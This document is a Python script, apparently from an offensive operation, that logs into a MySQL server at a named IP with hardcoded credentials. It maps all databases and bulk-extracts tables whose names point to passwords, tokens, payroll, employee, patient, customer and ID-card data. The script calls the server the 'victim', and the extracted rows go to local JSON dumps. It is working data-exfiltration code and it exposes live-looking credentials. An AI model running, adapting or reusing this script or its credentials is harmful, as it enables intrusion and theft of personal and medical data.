#!/usr/bin/env python3
"""MySQL 13.250.197.171 read-only data extraction (operator GO 2026-08-17).

Phase A: information_schema schema map — per DB: tables, row estimates,
data size. Identify sensitive tables (user/pass/token/cred/employee/HR).
Phase B: targeted extraction of sensitive tables ONLY (full content if
<= 500k rows, else schema + LIMIT 10000 sample). Key DBs: pharmanet,
apps_master, apps_transaction, absensi, century, ecommerce_data, matrix_db.
No writes, no LOCK, plain SELECTs. Logged on victim side — operator accepted.

Out: extraction/{db}__{table}.json(.gz for large) + extraction_index_aug17.json
+ OPLOG.
"""
import gzip
import importlib.util
import json
import re
import sys
import time
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'
OUT = DOSSIER / 'extraction'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

HOST = '13.250.197.171'
USER = 'PharmanetBois'
PW = 'd3v3l0p8015'
KEY_DBS = ['pharmanet', 'apps_master', 'apps_transaction', 'absensi', 'century',
           'ecommerce_data', 'matrix_db', 'CenturyMaster', 'Master_centuryApp',
           'purchasing', 'pharmanet_ai', 'pelapak_external', 'nsb2b']
SENSITIVE = re.compile(r'(?i)user|pass|token|cred|secret|auth|login|session|key|'
                       r'employee|karyawan|absen|payroll|salary|gaji|hr|npwp|'
                       r'customer|patient|pasien|member|ktp|npwp')
FULL_LIMIT = 500_000
SAMPLE_LIMIT = 10_000

def oplog(output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | 13.250.197.171:3306 | pymysql SELECT | info_schema map + targeted table extraction | {output} | {result} | none | extraction GO\n")

def main():
    import pymysql
    OUT.mkdir(exist_ok=True)
    conn = pymysql.connect(host=HOST, port=3306, user=USER, password=PW,
                           connect_timeout=15, read_timeout=120, charset='utf8mb4',
                           cursorclass=pymysql.cursors.SSCursor)  # streaming
    cur = conn.cursor()

    # ---- Phase A: schema map ----
    print('[*] phase A: information_schema map', file=sys.stderr)
    cur.execute("""
        SELECT table_schema, table_name, table_rows, data_length
        FROM information_schema.tables
        WHERE table_schema NOT IN ('information_schema','performance_schema','mysql')
        ORDER BY table_schema, data_length DESC
    """)
    schema_map = {}
    for db, tbl, rows, dlen in cur.fetchall():
        schema_map.setdefault(db, []).append({'t': tbl, 'rows': rows or 0, 'mb': round((dlen or 0)/1e6, 1)})
    (DOSSIER / 'mysql_schema_map_aug17.json').write_text(json.dumps(schema_map, indent=1))
    print(f'  {sum(len(v) for v in schema_map.values())} tables across {len(schema_map)} DBs', file=sys.stderr)

    # pick sensitive tables in key DBs
    targets = []
    for db in KEY_DBS:
        for e in schema_map.get(db, []):
            if SENSITIVE.search(e['t']):
                targets.append((db, e['t'], e['rows'], e['mb']))
    print(f'[*] sensitive tables in key DBs: {len(targets)}', file=sys.stderr)
    for db, t, r, mb in targets[:60]:
        print(f'    {db}.{t} rows~{r} {mb}MB', file=sys.stderr)

    # ---- Phase B: targeted extraction ----
    print('[*] phase B: extraction', file=sys.stderr)
    index = []
    for db, tbl, est_rows, mb in targets:
        qual = f'`{db}`.`{tbl}`'
        mode = 'full' if est_rows <= FULL_LIMIT else 'sample'
        limit = None if mode == 'full' else SAMPLE_LIMIT
        dest = OUT / (f'{db}__{tbl}.json' + ('' if mode == 'full' and mb < 50 else '.gz'))
        t0 = time.time()
        try:
            cur.execute(f'SELECT * FROM {qual}' + (f' LIMIT {limit}' if limit else ''))
            cols = [d[0] for d in cur.description]
            n = 0
            opener = (lambda: gzip.open(dest, 'wt', encoding='utf-8')) if str(dest).endswith('.gz') else (lambda: open(dest, 'w', encoding='utf-8'))
            with opener() as f:
                f.write(json.dumps({'db': db, 'table': tbl, 'columns': cols, 'mode': mode}, ensure_ascii=False) + '\n')
                for row in cur:
                    f.write(json.dumps(dict(zip(cols, row)), ensure_ascii=False, default=str) + '\n')
                    n += 1
            sz = Path(dest).stat().st_size
            index.append({'db': db, 'table': tbl, 'mode': mode, 'rows_written': n,
                          'file': str(dest.relative_to(DOSSIER)), 'bytes': sz, 'sec': round(time.time()-t0, 1)})
            print(f'  [+] {db}.{tbl}: {n} rows ({mode}) {sz/1e6:.1f}MB', file=sys.stderr)
        except Exception as e:
            index.append({'db': db, 'table': tbl, 'mode': mode, 'error': str(e)[:150]})
            print(f'  [-] {db}.{tbl}: {e}', file=sys.stderr)

    (DOSSIER / 'extraction_index_aug17.json').write_text(json.dumps(index, indent=1, ensure_ascii=False))
    ok = sum(1 for i in index if 'rows_written' in i)
    total_rows = sum(i.get('rows_written', 0) for i in index)
    oplog(f'sensitive_tables={len(targets)} extracted={ok} rows_total={total_rows} -> extraction/',
          'SUCCESS' if ok == len(targets) else 'PARTIAL')
    print(f'[+] extracted {ok}/{len(targets)}, {total_rows} rows total', file=sys.stderr)
    conn.close()

if __name__ == '__main__':
    main()